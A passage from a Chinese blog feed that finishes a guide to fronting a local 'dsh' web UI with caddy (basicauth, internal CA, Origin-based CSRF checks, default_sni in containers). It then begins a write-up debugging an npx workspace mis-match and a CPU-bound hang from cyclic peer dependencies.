&lt;li&gt;&lt;code&gt;GPG_TTY=&#x2F;dev&#x2F;nonexistent&lt;&#x2F;code&gt;：ssh 可能触发 gpg-agent 口令提示，隧道环境没有终端，pinentry 会挂起无输出；失效时让它快速失败（报 &lt;code&gt;agent refused operation&lt;&#x2F;code&gt;），自己在客户端终端解锁一次 ssh 密钥即可&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ExitOnForwardFailure&lt;&#x2F;code&gt;：本地端口被占（如本机也在跑 caddy 3080）直接失败退出，不静默挂起&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ServerAliveInterval + Restart=on-failure&lt;&#x2F;code&gt;：网络断了 ssh 快速退出（exit 255），systemd 自动重连&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;StrictHostKeyChecking=accept-new&lt;&#x2F;code&gt;：首次连接自动接受 host key，居家环境免交互&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;wei-shen-me-bu-gan-cui-rang-caddy-gai-xie-host&quot;&gt;为什么不干脆让 caddy 改写 Host&lt;&#x2F;h3&gt;
&lt;p&gt;加 &lt;code&gt;header_up Host 127.0.0.1:3081&lt;&#x2F;code&gt; 确实能骗过 Host 检查，但浏览器对同源 &lt;code&gt;fetch&lt;&#x2F;code&gt; 的 &lt;strong&gt;POST 会带 &lt;code&gt;Origin: https:&#x2F;&#x2F;192.168.5.68:3080&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;，Host 换成 &lt;code&gt;127.0.0.1:3081&lt;&#x2F;code&gt; 后 Origin 与 Host 不匹配 → 依旧 403。再 &lt;code&gt;header_up -Origin&lt;&#x2F;code&gt; 删掉 Origin 倒能过，但这就等于把 dsh 的配置平面围栏&lt;strong&gt;整体拆除&lt;&#x2F;strong&gt;——服务器对「任意来源的配置平面请求」放行，只剩 basicauth 一层（而 basicauth 本就挡不住浏览器自动附带的缓存凭据，参考第三节）。dsh 官方把这标为设计特性等着「真正的认证层」出现，不建议硬拆。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;qi-rong-qi-chang-jing-jian-ting-suo-you-di-zhi-zheng-shu-dao-di-fa-gei-shui&quot;&gt;七、容器场景：监听「所有地址」，证书到底发给谁？&lt;&#x2F;h2&gt;
&lt;p&gt;本节实测（caddy:2.10 容器 + &lt;code&gt;-p 8000:8000&lt;&#x2F;code&gt;）。结论一句话：&lt;strong&gt;证书发给「站点地址」，与监听地址无关&lt;&#x2F;strong&gt;。caddy 对同一端口自动以通配地址监听（&lt;code&gt;[::]:8000&lt;&#x2F;code&gt;，也就是 0.0.0.0 的效果），但证书 SAN 只按你写进站点地址列表的标识符签发。所以「监听 0.0.0.0 证书是不是还能正确」答案取决于你写了什么：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;站点地址&lt;&#x2F;th&gt;&lt;th&gt;结果（实测）&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;:8000&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;不签发任何证书，握手直接 &lt;code&gt;internal error&lt;&#x2F;code&gt;（同坑 2，2.6&#x2F;2.10 行为一致）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;0.0.0.0:8000&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;危险&lt;&#x2F;strong&gt;：caddy 真的会签发证书，但 SAN 是字面 &lt;code&gt;IP Address:0.0.0.0&lt;&#x2F;code&gt;，真实 IP 访问全部验证失败&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;&amp;lt;容器IP&amp;gt;:8000&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;SAN=容器 IP（如 172.17.0.2），签出来的是「容器内地址的证书」；宿主机&#x2F;局域网用户访问用的是宿主 IP，至少 SNI 对不上、容器重建 IP 还变，&lt;strong&gt;永远用不上&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;https:&#x2F;&#x2F;&amp;lt;宿主LAN IP&amp;gt;:8000&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;SAN=宿主 LAN IP（正确），但还差最后一公里，见下&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;为什么 &lt;code&gt;https:&#x2F;&#x2F;IP&lt;&#x2F;code&gt; 这种访问会失败——SNI 才是领证书的钥匙。&lt;&#x2F;strong&gt; 证书按站点地址签发，但 TLS 握手时客户端要发一个 SNI（Server Name Indication）告诉服务端「我要哪张证书」。实测各客户端对 IP 地址的行为并不一致：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;客户端&lt;&#x2F;th&gt;&lt;th&gt;访问 &lt;code&gt;https:&#x2F;&#x2F;IP:8000&lt;&#x2F;code&gt; 时发 SNI 吗&lt;&#x2F;th&gt;&lt;th&gt;无 &lt;code&gt;default_sni&lt;&#x2F;code&gt; 时结果&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Chromium 系（Chrome&#x2F;Edge&#x2F;Android）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;不发&lt;&#x2F;strong&gt;（对域名才发）&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ERR_SSL_PROTOCOL_ERROR&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;curl&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;不发&lt;&#x2F;strong&gt;（对域名才发）&lt;&#x2F;td&gt;&lt;td&gt;000（TLS internal error），和 Chrome 站一边，最容易误导排查&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;openssl s_client&lt;&#x2F;td&gt;&lt;td&gt;默认不发；&lt;code&gt;-servername&lt;&#x2F;code&gt; 显式发&lt;&#x2F;td&gt;&lt;td&gt;不发 SNI 会被拒；显式 &lt;code&gt;-servername IP&lt;&#x2F;code&gt; 能拿到证书&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;caddy 2.10 对无 SNI 的 ClientHello 直接拒绝；&lt;strong&gt;老版 2.6.2 反而有兜底&lt;&#x2F;strong&gt;（发给首域证书——本机浏览器直接访问 &lt;code&gt;https:&#x2F;&#x2F;127.0.0.1:3080&lt;&#x2F;code&gt; 能工作正是靠它），2.7 引入 &lt;code&gt;default_sni&lt;&#x2F;code&gt; 后移除了这个兜底，所以容器版必须显式配置。&lt;&#x2F;p&gt;
&lt;p&gt;解法：全局 &lt;code&gt;default_sni&lt;&#x2F;code&gt; 指定无 SNI 时该给哪张证书：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;caddyfile&quot; class=&quot;language-caddyfile &quot;&gt;&lt;code class=&quot;language-caddyfile&quot; data-lang=&quot;caddyfile&quot;&gt;{
	default_sni 192.168.5.68
}

https:&amp;#x2F;&amp;#x2F;127.0.0.1:8000, https:&amp;#x2F;&amp;#x2F;localhost:8000, https:&amp;#x2F;&amp;#x2F;192.168.5.68:8000 {
	tls internal
	basicauth {
		peter $2a$14$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
	}
	reverse_proxy 127.0.0.1:3081
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;加 &lt;code&gt;default_sni&lt;&#x2F;code&gt; 前后对照（同样配置、同一容器）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;客户端&lt;&#x2F;th&gt;&lt;th&gt;无 &lt;code&gt;default_sni&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;有 &lt;code&gt;default_sni&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;curl（无 SNI）&lt;&#x2F;td&gt;&lt;td&gt;000 &#x2F; internal error&lt;&#x2F;td&gt;&lt;td&gt;200，证书 SAN 正确&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;chromium 打开 IP URL&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ERR_SSL_PROTOCOL_ERROR&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;ERR_CERT_AUTHORITY_INVALID&lt;&#x2F;code&gt;（握手已成功，只差 CA 信任）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;ERR_CERT_AUTHORITY_INVALID&lt;&#x2F;code&gt; 意味着&quot;证书和域名都对，只差设备信任根证书&quot;。容器里的 CA 这样导出：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;docker cp &amp;lt;容器名&amp;gt;:&amp;#x2F;data&amp;#x2F;caddy&amp;#x2F;pki&amp;#x2F;authorities&amp;#x2F;local&amp;#x2F;root.crt .&amp;#x2F;root.crt
openssl x509 -in root.crt -noout -subject -dates
# subject=CN=Caddy Local Authority - 2026 ECC Root，有效期 10 年
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;（容器内证书以容器用户写入，卷目录在宿主机侧常是 uid 1000&#x2F;root 权限，直接 &lt;code&gt;ls&lt;&#x2F;code&gt; 可能没权限，用 &lt;code&gt;docker cp&lt;&#x2F;code&gt; 最省事；挂卷前 &lt;code&gt;mkdir -p .&#x2F;data &amp;amp;&amp;amp; sudo chown 1000:1000 .&#x2F;data&lt;&#x2F;code&gt; 也能解决。）&lt;&#x2F;p&gt;
&lt;p&gt;容器场景几个经验：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;别拿容器 IP 当站点地址&lt;&#x2F;strong&gt;——每次重建都会变，还会让 LAN 用户 SNI 对不上。固定写宿主机 LAN IP，或配内部域名更稳（浏览器对域名一定发 SNI，证书按域名签，不受 default_sni 限制）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;default_sni&lt;&#x2F;code&gt; 只能设一个值&lt;&#x2F;strong&gt;：LAN &#x2F; tailscale 多个 IP 里只有它指定的那个能被&quot;裸 IP 无 SNI&quot;访问；其余 IP 要么换域名，要么接受 hostname 不匹配。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;内部证书叶证书默认只有 12h 有效期&lt;&#x2F;strong&gt;，长跑要拉长。注意 caddy 2.10 的全局块里没有 &lt;code&gt;tls&lt;&#x2F;code&gt; 选项（实测报 &lt;code&gt;unrecognized global option: tls&lt;&#x2F;code&gt;），lifetime 写在站点级：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;caddyfile&quot; class=&quot;language-caddyfile &quot;&gt;&lt;code class=&quot;language-caddyfile&quot; data-lang=&quot;caddyfile&quot;&gt;https:&amp;#x2F;&amp;#x2F;192.168.5.68:8000 {
	tls {
		issuer internal {
			lifetime 8760h   # 默认仅 12h
		}
	}
	basicauth { ... }
	reverse_proxy 127.0.0.1:3081
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yan-zheng&quot;&gt;验证&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;curl -s -o &amp;#x2F;dev&amp;#x2F;null -w &amp;#x27;%{http_code}\n&amp;#x27; https:&amp;#x2F;&amp;#x2F;192.168.5.68:3080&amp;#x2F;          # 无凭据 → 401
curl -s -u peter:密码 -o &amp;#x2F;dev&amp;#x2F;null -w &amp;#x27;%{http_code}\n&amp;#x27; https:&amp;#x2F;&amp;#x2F;192.168.5.68:3080&amp;#x2F;  # → 200
curl -s -u peter:密码 -H &amp;#x27;Origin: https:&amp;#x2F;&amp;#x2F;evil.example&amp;#x27; https:&amp;#x2F;&amp;#x2F;192.168.5.68:3080&amp;#x2F;api&amp;#x2F;  # → 403
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;端口让位：caddy 占 3080，dsh web 挪到 3081&lt;&#x2F;li&gt;
&lt;li&gt;Debian 版 caddy 两个差异：&lt;code&gt;basicauth&lt;&#x2F;code&gt; 指令名、站点地址必须 &lt;code&gt;https:&#x2F;&#x2F;host:port&lt;&#x2F;code&gt; 完整形式&lt;&#x2F;li&gt;
&lt;li&gt;内部根证书手动信任：&lt;code&gt;sudo env HOME=&#x2F;var&#x2F;lib&#x2F;caddy caddy trust&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;dsh 的 &lt;code&gt;&#x2F;api&lt;&#x2F;code&gt; 围栏校验浏览器 Origin（服务端 CSRF 防护，不是 CORS），代理不改 Origin，必须用 &lt;code&gt;--trusted-host&lt;&#x2F;code&gt; 显式放行反代入口（包括局域网 IP）；围栏也是 basicauth 拦不住的本机 CSRF 的最后防线&lt;&#x2F;li&gt;
&lt;li&gt;局域网设备装一次根证书即可永久使用，换 IP 重跑脚本重新签发&lt;&#x2F;li&gt;
&lt;li&gt;配置模型&#x2F;凭证永远走 loopback origin：本机 &lt;code&gt;https:&#x2F;&#x2F;127.0.0.1:3080&lt;&#x2F;code&gt;，或客户端 &lt;code&gt;dsh-proxy.sh&lt;&#x2F;code&gt; SSH 隧道转发；&lt;code&gt;--trusted-host&lt;&#x2F;code&gt; 帮不了配置平面（dsh ≥0.1.1-rc.2 设计如此），也别用 caddy 改写 Host&#x2F;删 Origin 硬拆围栏&lt;&#x2F;li&gt;
&lt;li&gt;容器场景：证书按「站点地址」（勿用容器 IP&#x2F;0.0.0.0），配全局 &lt;code&gt;default_sni&lt;&#x2F;code&gt; 兜底 Chromium 系的无 SNI 请求，CA 从卷目录 &lt;code&gt;&#x2F;data&#x2F;caddy&#x2F;pki&#x2F;authorities&#x2F;local&#x2F;root.crt&lt;&#x2F;code&gt; 导出&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>npx 安装卡死排查：workspace 误匹配与循环 peerDependencies</title>
        <published>2026-08-24T13:56:16+08:00</published>
        <updated>2026-08-24T13:56:16+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/npx-cyclic-peer-deps-troubleshooting/"/>
        <id>https://vercel.juzhong.asia/2026/08/npx-cyclic-peer-deps-troubleshooting/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/npx-cyclic-peer-deps-troubleshooting/">&lt;h1 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h1&gt;
&lt;p&gt;在 deepseek-harness 仓库（pnpm workspace）根目录执行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ npx @deepseek-ai&amp;#x2F;dsh web
sh: 1: dsh: not found
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;瞬间失败，退出码 127。同样的命令换到仓库外（如 &lt;code&gt;&#x2F;home&#x2F;peter&lt;&#x2F;code&gt;）执行，则是另一个极端：&lt;strong&gt;CPU 100%、内存 1.9GB、几分钟没有任何输出&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;两段症状截然不同，排查结论也完全不同：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;仓库内失败：&lt;strong&gt;npm exec 把 workspace 里的同名包误判为&quot;已安装&quot;&lt;&#x2F;strong&gt;，跳过下载直接去找 PATH 里的 &lt;code&gt;dsh&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;仓库外卡死：&lt;strong&gt;npm arborist 在解析互相 peerDependencies 的循环依赖图时性能爆炸&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;以下按排查顺序记录完整过程，所有命令均可复现。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;di-yi-duan-cang-ku-nei-dsh-not-found&quot;&gt;第一段：仓库内 &lt;code&gt;dsh: not found&lt;&#x2F;code&gt;&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;chu-shi-pai-cha&quot;&gt;初始排查&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ npx --loglevel verbose @deepseek-ai&amp;#x2F;dsh web
npm verbose title npm exec @deepseek-ai&amp;#x2F;dsh web
...
sh: 1: dsh: not found
npm verbose exit 127
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键线索：verbose 日志只有 19 行，&lt;strong&gt;没有任何安装动作&lt;&#x2F;strong&gt;——没下载、没建缓存目录。&lt;code&gt;~&#x2F;.npm&#x2F;_npx&#x2F;&lt;&#x2F;code&gt; 下也没有新的缓存目录产生：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ which dsh                    # PATH 中没有 dsh
dsh not found
$ ls ~&amp;#x2F;.npm&amp;#x2F;_npx&amp;#x2F;              # 无新增缓存目录
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;说明 npm 根本没走&quot;安装到 npx 缓存&quot;的路径，而是直接去执行一个名为 &lt;code&gt;dsh&lt;&#x2F;code&gt; 的命令——但 PATH 里没有它，于是 shell 报 &lt;code&gt;command not found&lt;&#x2F;code&gt;（127）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cha-zhuang-libnpmexec&quot;&gt;插桩 libnpmexec&lt;&#x2F;h2&gt;
&lt;p&gt;npm 11 的 &lt;code&gt;npx&lt;&#x2F;code&gt; 实现位于 npm 自带的 &lt;code&gt;libnpmexec&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;.nvm&amp;#x2F;versions&amp;#x2F;node&amp;#x2F;v26.3.0&amp;#x2F;lib&amp;#x2F;node_modules&amp;#x2F;npm&amp;#x2F;node_modules&amp;#x2F;libnpmexec&amp;#x2F;lib&amp;#x2F;index.js
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;备份后插入 &lt;code&gt;console.error&lt;&#x2F;code&gt; 调试标记，跟踪关键分支：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;let pkgPaths = opts.pkgPath
console.error(&amp;#x27;DBG pkgPaths=&amp;#x27;, JSON.stringify(pkgPaths))
&amp;#x2F;&amp;#x2F; ...
console.error(&amp;#x27;DBG needPackageCommandSwap=&amp;#x27;, needPackageCommandSwap)
console.error(&amp;#x27;DBG before loadActual&amp;#x27;)
console.error(&amp;#x27;DBG after loadActual&amp;#x27;)
console.error(&amp;#x27;DBG needInstall=&amp;#x27;, JSON.stringify(needInstall.map(x=&amp;gt;x.spec.raw)), &amp;#x27;commandManifest=&amp;#x27;, commandManifest &amp;amp;&amp;amp; commandManifest._id)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重跑后拿到决定性输出：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;DBG pkgPaths= &amp;quot;&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;project&amp;#x2F;learn-dsh&amp;quot;
DBG needPackageCommandSwap= true
DBG before loadActual
DBG after loadActual
DBG needInstall= [] commandManifest= @deepseek-ai&amp;#x2F;dsh@0.1.0-rc.8
sh: 1: dsh: not found
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;needInstall=[]&lt;&#x2F;code&gt;，而 &lt;code&gt;commandManifest&lt;&#x2F;code&gt; 是本地 workspace 的版本 &lt;code&gt;0.1.0-rc.8&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;——npm 认为 &lt;code&gt;@deepseek-ai&#x2F;dsh&lt;&#x2F;code&gt; 已经&quot;装好了&quot;（实际用的是仓库里 &lt;code&gt;apps&#x2F;cli&lt;&#x2F;code&gt; 这个 workspace 包），于是跳过安装，把命令翻译成 &lt;code&gt;dsh&lt;&#x2F;code&gt; 直接执行。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;gen-yin-libnpmexec-de-workspace-wu-pi-pei&quot;&gt;根因：libnpmexec 的 workspace 误匹配&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;libnpmexec&#x2F;lib&#x2F;index.js&lt;&#x2F;code&gt; 中 &lt;code&gt;missingFromTree()&lt;&#x2F;code&gt; 的这段逻辑：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;if (spec.registry &amp;amp;&amp;amp; spec.type !== &amp;#x27;tag&amp;#x27; &amp;amp;&amp;amp; !npxByNameOnly) {
  const nodesBySpec = tree.inventory.query(&amp;#x27;packageName&amp;#x27;, spec.name)
  for (const node of nodesBySpec) {
    if (shallow &amp;amp;&amp;amp; node.depth) continue
    if (spec.rawSpec === &amp;#x27;*&amp;#x27;) {
      return { node }          &amp;#x2F;&amp;#x2F; ← 命中这里
    }
    ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;npx @deepseek-ai&#x2F;dsh&lt;&#x2F;code&gt; 被 &lt;code&gt;npm-package-arg&lt;&#x2F;code&gt; 解析成 &lt;code&gt;rawSpec: &#x27;*&#x27;&lt;&#x2F;code&gt; 的 range 规格，命中 &lt;code&gt;spec.rawSpec === &#x27;*&#x27;&lt;&#x2F;code&gt; 分支——&lt;strong&gt;不做任何版本比对，直接返回本地树中同名节点&lt;&#x2F;strong&gt;。本仓库的 workspace 恰好包含 &lt;code&gt;apps&#x2F;cli&lt;&#x2F;code&gt;（包名 &lt;code&gt;@deepseek-ai&#x2F;dsh&lt;&#x2F;code&gt;），于是：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;npm 认为已安装 → 跳过 npx 缓存安装&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;args[0]&lt;&#x2F;code&gt; 被替换为 bin 名 &lt;code&gt;dsh&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;直接 &lt;code&gt;sh -c &#x27;dsh web&#x27;&lt;&#x2F;code&gt;——但 pnpm workspace 不会把该包的 bin 链到根 &lt;code&gt;node_modules&#x2F;.bin&lt;&#x2F;code&gt;（根 package.json 没有依赖它），PATH 中不存在 &lt;code&gt;dsh&lt;&#x2F;code&gt; → 127&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;用独立脚本验证了树中的实际节点状态（脚本需放在 npm 的 node_modules 内以解析 &lt;code&gt;@npmcli&#x2F;arborist&lt;&#x2F;code&gt; 等依赖）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;const spec = npa(&amp;#x27;@deepseek-ai&amp;#x2F;dsh&amp;#x27;, &amp;#x27;&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;project&amp;#x2F;learn-dsh&amp;#x27;)
console.log(&amp;#x27;spec:&amp;#x27;, JSON.stringify(spec))       &amp;#x2F;&amp;#x2F; rawSpec: &amp;#x27;*&amp;#x27;

const manifest = await pacote.manifest(spec, flatOptions)
console.log(&amp;#x27;manifest._resolved:&amp;#x27;, manifest._resolved)
&amp;#x2F;&amp;#x2F; https:&amp;#x2F;&amp;#x2F;registry.npmmirror.com&amp;#x2F;@deepseek-ai&amp;#x2F;dsh&amp;#x2F;-&amp;#x2F;dsh-0.1.1-rc.2.tgz

const localTree = await new Arborist({ path: &amp;#x27;&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;project&amp;#x2F;learn-dsh&amp;#x27; }).loadActual()
for (const node of localTree.inventory.query(&amp;#x27;packageName&amp;#x27;, &amp;#x27;@deepseek-ai&amp;#x2F;dsh&amp;#x27;)) {
  console.log(&amp;#x27;node:&amp;#x27;, node.pkgid)               &amp;#x2F;&amp;#x2F; cli@npm:@deepseek-ai&amp;#x2F;dsh@0.1.0-rc.8
  console.log(&amp;#x27;package.resolved:&amp;#x27;, node.package.resolved)  &amp;#x2F;&amp;#x2F; undefined
  console.log(&amp;#x27;realpath:&amp;#x27;, node.realpath)        &amp;#x2F;&amp;#x2F; ...&amp;#x2F;apps&amp;#x2F;cli
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;rao-guo-fang-an-cang-ku-nei&quot;&gt;绕过方案（仓库内）&lt;&#x2F;h2&gt;
&lt;p&gt;钉版本后 &lt;code&gt;rawSpec&lt;&#x2F;code&gt; 不再是 &lt;code&gt;&#x27;*&#x27;&lt;&#x2F;code&gt;，会走版本比对分支，从而绕过 workspace 误匹配：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;npx --yes @deepseek-ai&amp;#x2F;dsh@latest web
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证有效（开始正常安装）。其他两个等价方案：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;# 1. 到仓库外执行（无同名 workspace 包）
cd &amp;#x2F;home&amp;#x2F;peter &amp;amp;&amp;amp; npx @deepseek-ai&amp;#x2F;dsh web

# 2. 仓库内开发直接用本地源码入口（root script）
pnpm dsh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：&lt;code&gt;npx --yes&lt;&#x2F;code&gt; 才会跳过交互确认；&lt;code&gt;@latest&lt;&#x2F;code&gt; 钉版本是为了跳过 workspace 匹配。&lt;code&gt;pnpm dsh&lt;&#x2F;code&gt; 是仓库自身定义的 &lt;code&gt;node --import tsx&#x2F;esm apps&#x2F;cli&#x2F;src&#x2F;bin.ts&lt;&#x2F;code&gt;，才是仓库内开发的正道。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;di-er-duan-cang-ku-wai-cpu-100-qia-si&quot;&gt;第二段：仓库外 CPU 100% 卡死&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;zheng-zhuang-fen-lei-cpu-mi-ji-wang-luo-deng-dai&quot;&gt;症状分类：CPU 密集 ≠ 网络等待&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ ps aux | grep &amp;quot;npm exec&amp;quot;
peter  1422431  98.2  7.3  3569764 1948164 pts&amp;#x2F;8  Rl+ 13:27  2:13 npm exec @deepseek-ai&amp;#x2F;dsh web
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;100% CPU + 1.9GB 内存。网络下载时 CPU 应该很低，这个组合指向纯计算。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pai-chu-fa-que-ren-mei-zai-xia-zai-ye-bu-shi-si-xun-huan&quot;&gt;排除法：确认没在下载、也不是死循环&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ ss -tnp | grep 1422431                    # 无任何 TCP 连接
$ find ~&amp;#x2F;.npm&amp;#x2F;_cacache -newermt &amp;quot;13:25&amp;quot;     # 无新增下载
$ timeout 3 strace -p 1422431 -f -e trace=write,read,epoll_wait,futex,connect,recvfrom
# 只有 futex（线程间同步），没有 connect&amp;#x2F;read
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;strace 里没有网络和磁盘系统调用。再观察 npm 日志：&lt;&#x2F;p&gt;
